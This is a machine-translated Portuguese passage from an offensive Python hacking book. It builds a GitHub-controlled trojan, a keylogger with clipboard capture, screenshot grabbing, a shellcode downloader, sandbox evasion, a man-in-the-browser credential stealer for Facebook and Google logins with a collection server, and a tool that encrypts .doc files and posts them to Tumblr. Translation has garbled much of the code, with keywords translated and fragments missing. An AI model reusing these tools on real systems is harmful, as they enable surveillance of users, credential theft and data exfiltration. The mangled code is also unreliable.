formato JSON também facilita a alteração das opções de configuração. Vá para o
diretório de configuração e crie um arquivo chamado abc.json com o seguinte conteúdo:
[
{
"módulo": "lista de diretórios"
},
{
"módulo": "ambiente"
}
]
Esta é apenas uma lista simples de módulos que queremos que o trojan remoto
execute. Mais tarde, você verá como lemos neste documento JSON e, em seguida,
iteramos sobre cada opção para carregar esses módulos. Ao debater ideias de módulos,
você pode achar útil incluir opções de configuração adicionais, como duração da
execução, número de vezes para executar o módulo selecionado ou argumentos a
serem passados para o módulo. Entre em uma linha de comando e emita o seguinte
comando no diretório principal do repositório.
$ git add.
$ git commit -m "Adicionando configuração simples."
$ git push mestre de origem
Nome de usuário: ********
Senha: ********
104 Capítulo 7
www.it-ebooks.info
Machine Translated by Google
importar JSON
importar base64
sistema de importação
hora de importação
importar imposto
importar aleatoriamente
importar threading
fila de importação
importe-nos
def connect_to_github(): gh =
login(nomedeusuário="seunomedeusuário",senha="suasenha")
repo = gh.repository("seunomedeusuário","capítulo7")
ramo = repo.branch("mestre")
retornar gh,repo,filial
www.it-ebooks.info
Machine Translated by Google
retornar Nenhum
configuração de retorno
def store_module_result(dados):
gh,repo,branch = connect_to_github()
caminho_remoto = "dados/%s/%d.data"% (trojan_id,random.randint(1000,100000))
repo.create_file(remote_path,"Mensagem de confirmação",base64.b64encode(dados))
retornar
106 Capítulo 7
www.it-ebooks.info
Machine Translated by Google
Se você chegou até aqui no livro, sabe que usamos o método import do Python
funcionalidade para obter bibliotecas externas para que possamos usar o código contido
nelas. Queremos ser capazes de fazer a mesma coisa com nosso trojan, mas além disso,
também queremos ter certeza de que, se inserirmos uma dependência (como Scapy ou
netaddr), nosso trojan disponibilizará esse módulo para todos os módulos subsequentes
que nós puxamos. Python nos permite inserir nossa própria funcionalidade em como ele
importa módulos, de forma que se um módulo não puder ser encontrado localmente, nossa
classe de importação será chamada, o que nos permitirá recuperar remotamente a biblioteca
de nosso repositório. Isso é conseguido adicionando uma classe personalizada à lista
sys.meta_path.3 Vamos criar uma classe de carregamento personalizada agora adicionando
o seguinte código:
retornar Nenhum
def load_module(self,nome):
módulo de retorno
Cada vez que o interpretador tenta carregar um módulo que não está disponível,
nossa classe GitImporter é usada. A função find_module é chamada primeiro na tentativa
de localizar o módulo. Passamos esta chamada para nosso carregador de arquivos remoto u
e se pudermos localizar o arquivo em nosso repositório, decodificamos o código em
base64 e o armazenamos em nossa classe v. Ao retornar self, indicamos ao interpretador
Python que encontramos o módulo e ele pode então chamar nossa função load_module
-tion para realmente carregá-lo. Usamos o módulo imp nativo para primeiro criar um novo
objeto de módulo em branco w e, em seguida, colocamos nele o código que recuperamos
do GitHub x. A última etapa é inserir nosso módulo recém-criado na lista sys.modules y
para que ele seja capturado por quaisquer chamadas de importação futuras. Agora vamos
dar os últimos retoques no trojan e dar uma volta nele.
3. Uma explicação incrível deste processo escrita por Karol Kuczmarski pode ser encontrada
aqui: http:// xion.org.pl/ 2012/05/06/ hacking-python-imports/.
www.it-ebooks.info
Machine Translated by Google
def módulo_runner(módulo):
task_queue.put(1)
você resultado = sys.modules[module].run()
task_queue.get()
retornar
enquanto Verdadeiro:
se task_queue.empty():
x configuração =get_trojan_config()
tempo.sleep(random.randint(1,10))
tempo.sleep(random.randint(1000,10000))
Chutando os pneus
Tudo bem! Vamos dar uma olhada nisso, executando-o na linha de comando.
AVISO Se você tiver informações confidenciais em arquivos ou variáveis de ambiente, lembre-se que sem
um repositório privado, essas informações irão para o GitHub para todo o mundo ver.
Não diga que não avisei — e é claro que você pode usar algumas técnicas de
criptografia do Capítulo 9.
108 Capítulo 7
www.it-ebooks.info
Machine Translated by Google
$ pythongit_trojan.py
[*] Arquivo encontrado abc.json
[*] Tentativa de recuperar dirlister
[*] Arquivo módulos/dirlister encontrados
[*] Tentativa de recuperar o ambiente
[*] Módulos/ambiente de arquivo encontrados
[*] No módulo dirlister
[*] No módulo de ambiente.
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
8
Tarefa comum de trojaning W no dows
www.it-ebooks.info
Machine Translated by Google
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
janela_atual = Nenhum
def get_current_process():
# encontre o ID do processo
pid = c_ulong(0)
ÿ user32.GetWindowThreadProcessId(hwnd, byref(pid))
# pegue o executável
executável = create_string_buffer("\x00" * 512)
ÿ h_process = kernel32.OpenProcess(0x400 | 0x10, Falso, pid)
ÿ psapi.GetModuleBaseNameA(h_process,None,byref(executável),512)
112 Capítulo 8
www.it-ebooks.info
Machine Translated by Google
# fechar alças
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
Tudo bem! Então, apenas colocamos algumas variáveis auxiliares e uma função
que irá capturar a janela ativa e seu ID de processo associado. Primeiro chamamos
GetForeGroundWindow ÿ, que retorna um identificador para a janela ativa na área de
trabalho do alvo. Em seguida, passamos esse identificador para GetWindowThreadProcessId ÿ
função para recuperar o ID do processo da janela. Em seguida, abrimos o processo ÿ
e, usando o identificador de processo resultante, encontramos o nome real do
executável ÿ do processo. A etapa final é capturar o texto completo da barra de título
da janela usando a função GetWindowTextA ÿ. No final de nossa função auxiliar, exibimos
todas as informações ÿ em um belo cabeçalho para que você possa ver claramente quais
teclas foram digitadas em cada processo e janela. Agora vamos colocar a parte principal
do nosso registrador de teclas no lugar para finalizá-lo.
janela_atual global
win32clipboard.OpenClipboard()
valor_pastado = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
outro:
www.it-ebooks.info
Machine Translated by Google
Isso é tudo que você precisa! Definimos nosso PyHook HookManager ÿ e, em seguida,
vinculamos o evento KeyDown à nossa função de retorno de chamada definida pelo usuário KeyStroke ÿ.
Em seguida, instruímos o PyHook a conectar todos os pressionamentos de tecla ÿ e continuar a execução.
Sempre que o alvo pressiona uma tecla do teclado, nossa função KeyStroke é chamada com um objeto
de evento como único parâmetro. A primeira coisa que fazemos é verificar se o usuário mudou de janela
ÿ e em caso afirmativo, adquirimos o nome da nova janela e as informações do processo. Em seguida,
observamos o pressionamento de tecla emitido ÿ e, se estiver dentro do intervalo imprimível em ASCII,
simplesmente o imprimimos. Se for um modificador (como as teclas shift, ctrl ou alt ) ou qualquer outra
tecla fora do padrão, pegamos o nome da chave do objeto de evento. Também verificamos se o usuário
está realizando uma operação de colagem ÿ e, em caso afirmativo, despejamos o conteúdo da área de
transferência. A função de retorno de chamada termina retornando True para permitir que o próximo
gancho na cadeia – se houver – processe o evento. Vamos dar uma volta!
Chutando os pneus
É fácil testar nosso keylogger. Basta executá-lo e começar a usar o Windows normalmente. Tente usar
seu navegador, calculadora ou qualquer outro aplicativo e veja os resultados em seu terminal. A saída
abaixo vai parecer um pouco errada, o que se deve apenas à formatação do livro.
C:\>python keylogger-hook.py
teste
[Lwin] r
114 Capítulo 8
www.it-ebooks.info
Machine Translated by Google
calcular [Retornar]
1 [Lshift] + 1 =
Você pode ver que digitei a palavra teste na janela principal onde o script do
keylogger foi executado. Em seguida, liguei o Internet Explorer, naveguei até
www.nostarch.com, e executei alguns outros aplicativos. Agora podemos dizer com
segurança que nosso keylogger pode ser adicionado ao nosso pacote de truques de
trojan! Vamos prosseguir com a captura de tela.
importar win32gui
importar win32ui
importar win32con
importar win32api
www.it-ebooks.info
Machine Translated by Google
Vamos revisar o que esse pequeno script faz. Primeiro adquirimos um identificador para o
toda a área de trabalho ÿ, que inclui toda a área visível em vários monitores. Em seguida, determinamos
o tamanho da(s) tela(s) ÿ para sabermos as dimensões necessárias para a captura de tela. Criamos um
contexto de dispositivo2
usando a chamada de função GetWindowDC ÿ e passando um identificador para nossa área de trabalho.
Em seguida, precisamos criar um contexto de dispositivo baseado em memória ÿ onde armazenaremos
nossa captura de imagem até armazenarmos os bytes de bitmap em um arquivo. Em seguida, criamos
um objeto bitmap ÿ que é definido para o contexto do dispositivo da nossa área de trabalho.
A chamada SelectObject então define o contexto do dispositivo baseado em memória para apontar para
o objeto bitmap que estamos capturando. Usamos a função BitBlt ÿ para fazer uma cópia bit a bit da
imagem da área de trabalho e armazená-la no contexto baseado em memória. Pense nisso como uma
chamada memcpy para objetos GDI. A etapa final é despejar esta imagem no disco ÿ. Este script é fácil
de testar: basta executá-lo na linha de comando e verificar o diretório C:\WINDOWS\Temp para sua captura
de tela.bmp
arquivo. Vamos prosseguir para a execução do shellcode.
importar urllib2
importar ctypes
importar base64
2. Para saber tudo sobre contextos de dispositivos e programação GDI, visite a página do MSDN aqui:
http:// msdn.microsoft.com/ en-us/ library/ windows/ desktop/ dd183553(v=vs.85).aspx.
116 Capítulo 8
www.it-ebooks.info
Machine Translated by Google
Chutando os pneus
Você pode codificar manualmente algum shellcode ou usar sua estrutura de pentesting
favorita, como CANVAS ou Metasploit3, para gerá-lo para você. Eu escolhi um shellcode
de retorno de chamada do Windows x86 para CANVAS no meu caso. Armazene o
shellcode bruto (não o buffer de string!) em /tmp/ shellcode.raw em sua máquina
Linux e execute o seguinte:
3. Como CANVAS é uma ferramenta comercial, dê uma olhada neste tutorial para gerar cargas úteis do
Metasploit aqui: http:// www.offensive-security.com/ metasploit-unleashed/ Generating_Payloads.
www.it-ebooks.info
Machine Translated by Google
Isso indica que seu script recuperou o shellcode do servidor web simples que
você configurou usando o módulo SimpleHTTPServer . Se tudo correr bem, você
receberá um shell de volta em sua estrutura e abrirá calc.exe ou exibirá uma caixa de
mensagem ou qualquer que seja o código do shell para o qual foi compilado.
Detecção de sandbox
Cada vez mais, as soluções antivírus empregam alguma forma de sandbox para
determinar o comportamento de amostras suspeitas. Quer esta sandbox seja
executada no perímetro da rede, que está se tornando mais popular, ou na própria
máquina alvo, devemos fazer o nosso melhor para evitar qualquer defesa existente na
rede do alvo. Podemos usar alguns indicadores para tentar determinar se nosso trojan
está sendo executado em uma sandbox.
Monitoraremos nossa máquina de destino em busca de entradas recentes do usuário, incluindo
pressionamentos de teclas e cliques do mouse.
importar ctypes
importar aleatoriamente
hora de importação
sistema de importação
user32 = ctypes.windll.user32
kernel32 = ctypes.windll.kernel32
pressionamentos =0
de tecla =0
mouse_clicks double_clicks= 0
118 Capítulo 8
www.it-ebooks.info
Machine Translated by Google
para detectar há quanto tempo o sistema está funcionando e há quanto tempo desde a
última entrada do usuário. Adicione a seguinte função ao seu script sandbox_detect.py :
classe LASTINPUTINFO(ctypes.Estrutura):
_campos_ = [("cbSize", ctypes.c_uint),
("dwTime", ctypes.c_ulong)
]
def get_last_input():
struct_lastinputinfo = LASTINPUTINFO() ÿ
struct_lastinputinfo.cbSize = ctypes.sizeof(LASTINPUTINFO)
retorno decorrido
www.it-ebooks.info
Machine Translated by Google
Esta mesma técnica pode ser útil para sondar o sistema para ver se um usuário está
ocioso ou não, pois você só pode querer começar a fazer capturas de tela quando ele
estiver usando ativamente a máquina e, da mesma forma, você pode querer apenas
transmitir dados ou realizar outras tarefas quando o usuário parece estar offline.
Você também pode, por exemplo, modelar um usuário ao longo do tempo para determinar em
que dias e horas ele normalmente fica online.
Vamos excluir as últimas três linhas do código de teste e adicionar algum código
adicional para observar as teclas digitadas e os cliques do mouse. Usaremos uma solução
ctypes pura desta vez, em oposição ao método PyHook. Você também pode usar facilmente
o PyHook para essa finalidade, mas ter alguns truques diferentes em sua caixa de ferramentas
sempre ajuda, pois cada tecnologia antivírus e de sandbox tem suas próprias maneiras de
detectar esses truques. Vamos começar a codificação:
def get_key_press():
retornar Nenhum
Esta função simples nos informa o número de cliques do mouse, o tempo dos
cliques do mouse e também quantas teclas o alvo emitiu.
Isso funciona iterando no intervalo de chaves de entrada válidas ÿ; para cada tecla,
verificamos se a tecla foi pressionada usando GetAsyncKeyState ÿ
chamada de função. Se a tecla for detectada como pressionada, verificamos se é 0x1 ÿ, que
é o código da chave virtual para um clique com o botão esquerdo do mouse. Aumentamos
o número total de cliques do mouse e retornamos o carimbo de data/hora atual para que
possamos realizar cálculos de tempo posteriormente. Também verificamos se há
pressionamentos de teclas ASCII no teclado ÿ e, em caso afirmativo, simplesmente
incrementamos o número total de pressionamentos de teclas detectados. Agora vamos
combinar os resultados dessas funções em nosso loop de detecção de sandbox primário.
Adicione o seguinte código ao sandbox_detect.py:
def detect_sandbox():
120 Capítulo 8
www.it-ebooks.info
Machine Translated by Google
double_clicks =0
max_double_clicks = 10
double_click_threshold = 0,250 # em segundos
primeiro_duplo_clique = Nenhum
média_mousetime =0
max_input_threshold = 30000 # em milissegundos
previous_timestamp = Nenhum
detecção_completa = Falso
ÿ last_input = get_last_input()
ÿ keypress_time=get_key_press()
outro:
ÿ se double_clicks == max_double_clicks:
ÿ se keypress_time - first_double_click <= ¬
(max_double_clicks * double_click_threshold): sys.exit(0)
retornar
anterior_timestamp = keypress_time
detectar_sandbox()
imprimir "Estamos bem!"
www.it-ebooks.info
Machine Translated by Google
122 Capítulo 8
www.it-ebooks.info
Machine Translated by Google
9
Divirta-se com o Internet Explorer
www.it-ebooks.info
Machine Translated by Google
importar win32com.client
hora de importação
importar URL
importar URLlib
ÿ data_receiver = "http://localhost:8080/"
ÿ target_sites = {}
target_sites["www.facebook.com"] = ¬
{"logout_url" : Nenhum,
"logout_form" : "logout_form",
"login_form_index": 0,
"controlado" : Falso}
target_sites["accounts.google.com"] =¬
124 Capítulo 9
www.it-ebooks.info
Machine Translated by Google
clsid='{9BA05972-F6A8-11CF-A442-00A0C90A8F39}'
ÿ windows = win32com.client.Dispatch(clsid)
Esses são os ingredientes do nosso ataque homem (mais ou menos) no navegador. Nós
defina nossa variável data_receiver ÿ como o servidor web que receberá as credenciais
de nossos sites de destino. Esse método é mais arriscado, pois um usuário astuto pode ver
o redirecionamento acontecer; portanto, como um projeto de lição de casa futuro, você pode
pensar em maneiras de extrair cookies ou enviar as credenciais armazenadas através do
DOM por meio de uma tag de imagem ou outros meios que pareçam menos suspeitos.
Em seguida, configuramos um dicionário de sites-alvo ÿ que nosso ataque suportará. Os
membros do dicionário são os seguintes: logout_url é uma URL que podemos redirecionar
por meio de uma solicitação GET para forçar o logout do usuário; o logout_form é um
elemento DOM que podemos enviar e que força o logout; login_form_index é o local
relativo no DOM do domínio de destino que contém o formulário de login que
modificaremos; e o sinalizador de propriedade nos informa se já capturamos credenciais
de um site de destino porque não queremos forçá-los a fazer login repetidamente ou
então o alvo pode suspeitar que algo está acontecendo. Em seguida, usamos o ID de
classe do Internet Explorer e instanciamos o objeto COM ÿ, que nos dá acesso a todas as
guias e instâncias do Internet Explorer que estão em execução no momento.
Agora que temos a estrutura de suporte instalada, vamos criar o loop principal do
nosso ataque:
enquanto Verdadeiro:
url = urlparse.urlparse(browser.LocationUrl)
ÿ se url.hostname em target_sites:
ÿ if target_sites[url.hostname]["propriedade"]: continuar
outro:
www.it-ebooks.info
Machine Translated by Google
tentar:
wait_for_browser(navegador)
exceto:
passar
exceto:
passar
hora.sono(5)
Este é o nosso loop principal onde monitoramos a sessão do navegador do nosso alvo para os
sites dos quais queremos obter credenciais. Começamos iterando todos os objetos do Internet
Explorer ÿ atualmente em execução; isso inclui guias ativas no IE moderno. Se descobrirmos que o
alvo está visitando um de nossos sites predefinidos ÿ podemos iniciar a lógica principal do nosso
ataque. O primeiro passo é determinar se já executamos um ataque contra este site ÿ; nesse caso,
não o executaremos novamente. (Isso tem uma desvantagem: se o usuário não digitar a senha
corretamente, você poderá perder suas credenciais; deixarei nossa solução simplificada como
uma tarefa de casa para melhorar.)
Em seguida, testamos para ver se o site de destino tem uma URL de logout simples que
podemos redirecionar para ÿ e, em caso afirmativo, forçamos o navegador a fazer isso. Se o site
de destino (como o Facebook) exigir que o usuário envie um formulário para forçar o logout,
começamos a iterar sobre o DOM ÿ e quando descobrimos o ID do elemento HTML que está
registrado no formulário de logout ÿ, forçamos o formulário a ser enviado. Depois que o usuário for
redirecionado para o formulário de login, modificamos o endpoint do formulário para postar o nome
de usuário e a senha em um servidor que controlamos ÿ e, em seguida, esperamos que o usuário
faça o login. Observe que colocamos o nome do host do nosso site de destino no final da URL do
nosso servidor HTTP que coleta as credenciais. Isso ocorre para que nosso servidor HTTP saiba
para qual site redirecionar o navegador após coletar as credenciais.
Você notará a função wait_for_browser referenciada em alguns pontos acima, que é uma
função simples que espera que um navegador conclua uma
126 Capítulo 9
www.it-ebooks.info
Machine Translated by Google
operação como navegar para uma nova página ou aguardar o carregamento completo de uma
página. Vamos adicionar essa funcionalidade agora inserindo o seguinte código acima do loop
principal do nosso script:
def wait_for_browser(navegador):
retornar
Bem simples. Estamos apenas esperando que o DOM esteja totalmente carregado antes de
permitir que o restante do nosso script continue em execução. Isso nos permite cronometrar
cuidadosamente quaisquer modificações no DOM ou operações de análise.
Criando o Servidor
Agora que configuramos nosso script de ataque, vamos criar um servidor HTTP muito simples para
coletar as credenciais conforme elas são enviadas. Abra um novo arquivo chamado cred_server.py
e insira o seguinte código:
importar SimpleHTTPServer
importar SocketServer
importar URLlib
classe CredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
def do_POST(self):
ÿ content_length = int(self.headers['Content-Length']) creds =
ÿ self.rfile.read(content_length).decode('utf-8') imprimir creds site =
ÿ self.path[1: ]
ÿ self.send_response(301)
ÿ self.send_header('Local',urllib.unquote(site)) self.end_headers()
Este simples trecho de código é nosso servidor HTTP especialmente projetado. Nós
inicialize a classe TCPServer base com o IP, porta e CredRequestHandler
classe ÿ que será responsável por tratar as solicitações HTTP POST.
Quando nosso servidor recebe uma solicitação do navegador de destino, lemos o cabeçalho
Content-Length ÿ para determinar o tamanho da solicitação e, em seguida, lemos o conteúdo
da solicitação ÿ e os imprimimos ÿ. Em seguida, analisamos o site de origem (Facebook, Gmail,
etc.) ÿ e forçamos o navegador de destino a redirecionar ÿ de volta à página principal do site
de destino. Um recurso adicional que você pode adicionar aqui é enviar um e-mail para si mesmo
a cada
www.it-ebooks.info
Machine Translated by Google
momento em que as credenciais são recebidas para que você possa tentar fazer
login usando as credenciais do alvo antes que ele tenha a chance de alterar sua senha.
Vamos dar uma volta.
Chutando os pneus
C:\>python.exe cred_server.py
lsd=AVog7IRe&[email protected]&pass=pyth0nrocks&default_persistent=0&¬
fuso horário=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US
localhost - - [12/março/2014 00:03:50] "POST /www.facebook.com HTTP/1.1" 301 -
Obter acesso a uma rede alvo é apenas uma parte da batalha. Para usar seu acesso, você deseja
exfiltrar documentos, planilhas ou outros dados do sistema de destino. Dependendo dos mecanismos
de defesa implementados, esta última parte do seu ataque pode ser complicada. Pode haver
sistemas locais ou remotos (ou uma combinação de ambos) que funcionam para validar
processos que abrem conexões remotas, bem como se esses processos devem ser capazes de
enviar informações ou iniciar conexões fora da rede interna. Um colega pesquisador de segurança
canadense, Karim Nathoo, apontou que a automação do IE COM tem o maravilhoso benefício de
usar o processo Iexplore.exe , que normalmente é confiável e está na lista de permissões, para
exfiltrar informações de uma rede.
128 Capítulo 9
www.it-ebooks.info
Machine Translated by Google
usando um site confiável como o Tumblr, também deveremos ser capazes de contornar
qualquer lista negra que um firewall ou proxy possa ter, o que poderia nos impedir de
enviar o documento apenas para um endereço IP ou servidor web que controlamos. Vamos
começar colocando algumas funções de suporte em nosso script de exfiltração. Abra
ie_exfil.py e digite o seguinte código:
importar win32com.client
importe-nos
importar fnmatch
hora de importação
importar aleatoriamente
importar zlib
doc_type = ".doc"
nome de usuário = "[email protected]"
senha = "justinBHP2014"
""
chave_pública =
def wait_for_browser(navegador):
retornar
tamanho_pedaço = 256
print "Compactação: %d bytes" % len(texto simples)
ÿ texto simples = zlib.compress(texto simples)
""
criptografado =
deslocamento = 0
www.it-ebooks.info
Machine Translated by Google
criptografado += rsakey.encrypt(pedaço)
deslocamento += chunk_size
ÿ criptografado = criptografado.encode("base64")
retornar criptografado
Nossa função encrypt_post é responsável por receber o nome do arquivo e retornar tanto
o nome do arquivo criptografado quanto o conteúdo do arquivo criptografado no formato
codificado em base64. Primeiro chamamos a função principal encrypt_string ÿ, passando o nome do
arquivo de destino que se tornará o título de nossa postagem no Tumblr. A primeira etapa de nossa
função encrypt_string é aplicar a compactação zlib no arquivo ÿ antes de configurar nosso objeto de
criptografia de chave pública RSA ÿ usando nossa chave pública gerada. Em seguida, começamos
a percorrer o conteúdo do arquivo ÿ e criptografá-lo em pedaços de 256 bytes, que é o tamanho
máximo para criptografia RSA usando PyCrypto.
Quando encontramos o último pedaço do arquivo ÿ, se ele não tiver 256 bytes de comprimento,
nós o preenchemos com espaços para garantir que possamos criptografá-lo e descriptografá-
lo com êxito no outro lado. Depois de construirmos toda a nossa string de texto cifrado, nós a
codificamos em base64 ÿ antes de retorná-la. Usamos codificação base64 para que possamos
publicá-lo em nosso blog do Tumblr sem problemas ou problemas estranhos de codificação.
Agora que configuramos nossas rotinas de criptografia, vamos começar a adicionar a
lógica para lidar com o login e a navegação no painel do Tumblr.
Infelizmente, não existe uma maneira rápida e fácil de encontrar elementos de UI na Web:
simplesmente passei 30 minutos usando o Google Chrome e suas ferramentas de
desenvolvimento para inspecionar cada elemento HTML com o qual eu precisava interagir.
130 Capítulo 9
www.it-ebooks.info
Machine Translated by Google
Também é importante notar que, através da página de configurações do Tumblr, mudei o modo
de edição para texto simples, o que desativa seu incômodo editor baseado em JavaScript. Se
desejar usar um serviço diferente, você também terá que descobrir o tempo preciso, as interações
DOM e os elementos HTML necessários - felizmente, o Python torna a automação muito fácil.
Vamos adicionar mais algum código!
ÿ def random_sleep():
time.sleep(random.randint(5,10))
retornar
sono_aleatório()
sono_aleatório()
retornar
Criamos uma função simples chamada random_sleep ÿ que irá dormir por um
período de tempo aleatório; isso foi projetado para permitir que o navegador
execute tarefas que podem não registrar eventos no DOM para sinalizar que foram
concluídas. Também faz com que o navegador pareça um pouco mais humano.
Nossa função login_to_tumblr começa recuperando todos os elementos do DOM ÿ,
procura pelos campos de e-mail e senha ÿ e os configura com as credenciais que
fornecemos (não se esqueça de criar uma conta). O Tumblr pode apresentar uma
tela de login ligeiramente diferente a cada visita, então o próximo trecho de código ÿ
simplesmente tenta encontrar o formulário de login e enviá-lo de acordo. Após a
execução desse código, devemos estar logados no painel do Tumblr e prontos para
postar algumas informações. Vamos adicionar esse código agora.
www.it-ebooks.info
Machine Translated by Google
full_doc = ie.Document.all
para eu em full_doc:
se i.id == "post_one":
i.setAttribute("valor",título)
caixa_título = eu
Eu foco()
elif i.id == "post_dois":
i.setAttribute("innerHTML",postagem)
print "Definir área de texto"
Eu foco()
elif i.id == "create_post":
imprima "Botão de postagem encontrada"
post_form = eu
Eu foco()
#posta o formulário
post_form.children[0].click()
espere_pelo_navegador(ou seja)
sono_aleatório()
retornar
Nenhum deste código deve parecer muito novo neste momento. Estamos
simplesmente procurando no DOM onde postar o título e o corpo da postagem do blog.
A função post_to_tumblr recebe apenas uma instância do navegador e o nome do
arquivo criptografado e o conteúdo do arquivo para postar. Um pequeno truque
(aprendido observando as ferramentas de desenvolvedor do Chrome) ÿ é que
precisamos desviar o foco da parte principal do conteúdo da postagem para que o
JavaScript do Tumblr ative o botão Postar. É importante anotar esses pequenos truques
sutis à medida que você aplica essa técnica a outros sites. Agora que podemos fazer
login e postar no Tumblr, vamos dar os retoques finais em nosso script.
def exfiltrado(document_path):
132 Capítulo 9
www.it-ebooks.info
Machine Translated by Google
ou seja,Navigate("https://www.tumblr.com/new/text")
espere_pelo_navegador(ou seja)
#criptografa o arquivo
título, corpo = encrypt_post(caminho_do documento)
#destrua a instância do IE
ÿ ou seja.Quit() ou
seja = Nenhum
retornar
Nossa função de exfiltração é o que chamaremos para cada documento que quisermos
armazenar no Tumblr. Primeiro, ele cria uma nova instância do objeto COM do Internet Explorer ÿ
— e o interessante é que você pode definir o processo para ser visível ou não ÿ. Para depuração,
deixe-o definido como 1, mas para obter o máximo de sigilo, você definitivamente deseja defini-lo
como 0. Isso é realmente útil se, por exemplo, seu trojan detectar outra atividade em andamento;
nesse caso, você pode começar a extrair documentos, o que pode ajudar a mesclar ainda mais
suas atividades com as do usuário. Depois de chamar todas as nossas funções auxiliares,
simplesmente matamos nossa instância do IE ÿ e retornamos. A última parte do nosso script ÿ é
responsável por rastrear a unidade C:\ no sistema de destino e tentar corresponder à nossa extensão
de arquivo predefinida (.doc neste caso). Cada vez que um arquivo é encontrado, simplesmente
passamos o caminho completo do arquivo para nossa função de exfiltração .
Agora que temos nosso código principal pronto, precisamos criar um rápido
e um script de geração de chave RSA sujo, bem como um script de descriptografia que podemos
usar para colar um pedaço de texto criptografado do Tumblr e recuperar o texto simples. Vamos
começar abrindo keygen.py e inserindo o seguinte código:
www.it-ebooks.info
Machine Translated by Google
imprimir chave_pública
imprimir chave_privada
É isso mesmo: Python é tão incrível que podemos fazer isso com apenas algumas
linhas de código. Este bloco de código gera um par de chaves privada e pública.
Copie a chave pública em seu script ie_exfil.py . Em seguida, abra um novo arquivo
Python chamado decryptor.py e insira o seguinte código (cole a chave privada na variável
private_key ):
importar zlib
importar base64
de Crypto.PublicKey importar RSA de
Crypto.Cipher importar PKCS1_OAEP
tamanho_pedaço = 256
=0
""
deslocamento
descriptografado = ÿ criptografado = base64.b64decode (criptografado)
Chutando os pneus
Existem muitas partes móveis neste trecho de código, mas é bastante fácil de usar.
Simplesmente execute seu script ie_exfil.py em um host Windows e espere que ele
indique que foi postado com sucesso no Tumblr. Se você deixou o Internet Explorer
visível, deverá ter conseguido assistir todo o processo.
Depois de concluído, você poderá navegar até sua página do Tumblr e ver algo como a
Figura 9-1.
134 Capítulo 9
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
www.it-ebooks.info
Machine Translated by Google
10
W in do ws Privilégio
Escalação
Então você abriu uma caixa dentro de uma bela e suculenta rede Windows. Talvez
você tenha aproveitado um heap overflow remoto ou tenha feito phishing para entrar na
privilégios caso um ciclo de patch interrompa seu acesso. Também pode ser importante
ter um catálogo de escalações de privilégios em seu bolso, já que algumas empresas
executam software que pode ser difícil de analisar em seu próprio ambiente, e você pode
não encontrar esse software até estar em uma empresa do mesmo tamanho ou
composição. Em uma escalação de privilégios típica, você explorará um driver mal
codificado ou um problema de kernel nativo do Windows, mas se usar uma exploração
de baixa qualidade ou houver um problema durante a exploração, você corre o risco de
instabilidade do sistema. Exploraremos alguns outros meios de adquirir privilégios
elevados no Windows.
www.it-ebooks.info
Machine Translated by Google
Instalando os pré-requisitos
Precisamos instalar algumas bibliotecas para escrever as ferramentas deste capítulo.
Se você seguiu as instruções iniciais no início do livro, você terá o easy_install pronto
para funcionar. Caso contrário, consulte o Capítulo 1 para obter instruções sobre como
instalar o easy_install.
Execute o seguinte em um shell cmd.exe em sua VM do Windows:
Se por algum motivo este método de instalação não funcionar para você, baixe
o instalador PyWin32 diretamente de http:// sourceforge.net/ projects/
pywin32/.
Em seguida, você desejará instalar o serviço de exemplo que meus revisores
técnicos Dan Frisch e Cliff Janzen escreveram para mim. Este serviço emula um conjunto
comum de vulnerabilidades que descobrimos em grandes redes corporativas e ajuda a
ilustrar o código de exemplo neste capítulo.
Você deve estar pronto para ir, então agora vamos para a parte divertida!
138 Capítulo 10
www.it-ebooks.info
Machine Translated by Google
A principal desvantagem do El Jefe original é que ele usava uma DLL que era injetada
em cada processo para interceptar chamadas para todas as formas da função nativa
CreateProcess . Em seguida, ele usou um canal nomeado para se comunicar com o cliente
de coleta, que então encaminhou os detalhes da criação do processo para o servidor de
registro. O problema com isso é que a maioria dos softwares antivírus também intercepta as
chamadas CreateProcess , então eles veem você como malware ou você tem problemas de
instabilidade do sistema quando El Jefe é executado lado a lado com o software antivírus.
Recriaremos algumas das capacidades de monitoramento de El Jefe sem ganchos, que também
serão voltadas para técnicas ofensivas em vez de monitoramento. Isso deve tornar nosso
monitoramento portátil e nos permitir executar software antivírus ativado sem problemas.
1. Este código foi adaptado da página Python WMI (http:// timgolden.me.uk/ python/ wmi/
tutorial.html).
www.it-ebooks.info
Machine Translated by Google
processos de alto privilégio criados por SYSTEM, por exemplo, você precisará
executar seu script de monitoramento como administrador. Vamos começar
adicionando o seguinte código ao process_monitor.py:
importar win32con
importar win32api
importar win32security
sistema importar
sistema operacional
def log_to_file(mensagem): fd =
open("process_monitor_log.csv", "ab") fd.write("%s\r\n" %
mensagem) fd.close()
retornar
enquanto True:
tente:
Em new_process = process_watcher()
privilégios = "N/A"
imprimir process_log_message
log_to_file(process_log_message)
exceto:
passar
140 Capítulo 10
www.it-ebooks.info
Machine Translated by Google
retorna um novo evento de processo w. O novo evento de processo é uma classe WMI chamada
Win32_Process2 que contém todas as informações relevantes que procuramos.
Uma das funções da classe é GetOwner, que chamamos de x para determinar quem gerou o
processo e a partir daí coletamos todas as informações do processo que procuramos, exibimos na
tela e registramos em um arquivo.
Chutando os pneus
Vamos iniciar nosso script de monitoramento de processos e, em seguida, criar alguns processos
para ver como será o resultado.
20130907115227.048683-300,JUSTIN-V2TRL6LD\Administrador,C:\WINDOWS\system32\¬
